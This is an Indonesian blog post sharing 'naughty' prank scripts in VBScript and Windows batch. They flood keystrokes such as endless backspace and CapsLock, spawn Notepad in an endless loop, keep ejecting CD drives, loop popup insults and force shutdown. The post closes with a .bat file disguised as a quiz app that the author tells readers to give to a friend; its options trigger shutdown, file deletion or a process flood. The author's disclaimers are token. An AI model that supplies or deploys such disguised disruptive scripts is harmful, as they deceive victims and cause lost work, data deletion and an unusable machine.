Script – Script Nakal

Buat temen2 yang pengen beramain-main dengan script-script nakal, neh ada sedikit script sederhana, dokumentasi yang sudah lama aku simpan, khusus saya share di sini buat sesama newbie yang pengen tau dan belajar …hehehe.
Sebelumnya, aku saranin, ini jangan disalahgunakan ya, soalnya neh script lumayan bikin pusing juga klo sampai dieksekusi, tapi gunakanlah sebaik mungkin sebagai media pembelajaran saja. Jika temen-temen siap menerima segala resiko yang ditimbulkan oleh script-script dalam postingan ini silakan lanjutin baca….
Karena temen2 dah setuju sama kondisi di atas, baiklah mari simak baik-baik. Script-script ini sangat mudah digunakan, tinggal co-past aja ke notepad atau text editor lainnya yang biasa temen2 pakai.
1. Otomatis Ngetik di notepad atau text editor lainnya
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Muka lu standart abis, format ajah bro”
loop
Simpan dengan extensi *.vbs contoh scriptnakal_1.vbs
2. Buka notepad dan ketik pesan secara otomatis
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “Mu”
WScript.Sleep 50
WshShell.SendKeys “ka ”
WScript.Sleep 50
WshShell.SendKeys “lo”
WScript.Sleep 50
WshShell.SendKeys “stan”
WScript.Sleep 50
WshShell.SendKeys “dart ”
WScript.Sleep 50
WshShell.SendKeys ” a”
WScript.Sleep 50
WshShell.SendKeys “bis”
WScript.Sleep 50
WshShell.SendKeys “for”
WScript.Sleep 50
WshShell.SendKeys ” mat”
WScript.Sleep 50
WshShell.SendKeys “aja”
WScript.Sleep 50
WshShell.SendKeys ” la”
WScript.Sleep 50
WshShell.SendKeys “gi”
WScript.Sleep 50
WshShell.SendKeys “!! “
Simpan dengan extensi *.vbs, misalnya scriptnakal_2.vbs
Yang ini bisa temen manfaatin buat nembak seseorang :) Tinggal ganti aja kata2nya dengan yang romantis-romantis hehehehe.
3. Pesan pada saat shut-down
@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
Simpan dengan extensi *.bat misalnya scriptnakal.bat
4. Yang ini temen2 coba aja sendiri deh
@ECHO off
:Begin
msg * muka lo standar abis
msg * ngaca dulu sana
msg * hayo, lu brani ma gw..!!!??
msg * ud install ulang aja tuh muka lu
msg * biar masalah nya kelar
GOTO BEGIN

5. Buka notepad terus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save dengan extensi *.bat. Bisa juga ganti notepad dengan program yang diinginkan, misalnya MS Word.
6. Tekan Backspace Mulu (jadi gak bisa ngetik dah)
MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
save dengan extensi *.vbs
7. VbScript nongol mulu
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
save dengan extensi *.vbs
8. Buka tutup CD/DVD Driver Terus-menerus
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save dengan extensi *.vbs
9. Mainin Tombol CapsLock
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
save dengan extensi *.vbs
Script-script tersebut di atas bisa temen-temen ubah sesuai dengan keinginan. Atau bisa juga kita gabungin beberapa menjadi satu, misalnya kita dapat membuatnya menjadi seperti script di bawah ini:
@echo off
title quiz hari ini :)
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. lakukan Scan
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo standar abis
msg * ngaca dulu sana
msg * hayo lo, brani ma gw..!!!???
msg * ud install ulang aja tuh muka lu
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save Script di atas dengan nama yang unik, misalnya saja quiz.bat trus kasih ke teman, pura-pura aja bilangin aplikasi kuis :D :D
Keterangan angka di atas:
Jika pilih 1, maka otomatis matiin komputer
jika pilih 2, maka akan melakukan format file (mampus dah..) terserah Drive mana yg dipilih
jika pilih 3, maka akan sama seperti script pada no 4
Selamat mencoba script-scriptnya and have fun. Sekali lagi saya ingatin, pergunakanlah dengan bijak.
Previous
Next Post »
0 Komentar

Pengunjung yang baik adalah pengunjung yang mengapreasikan pendapatnya dikomentar...
Terimakasih ... :D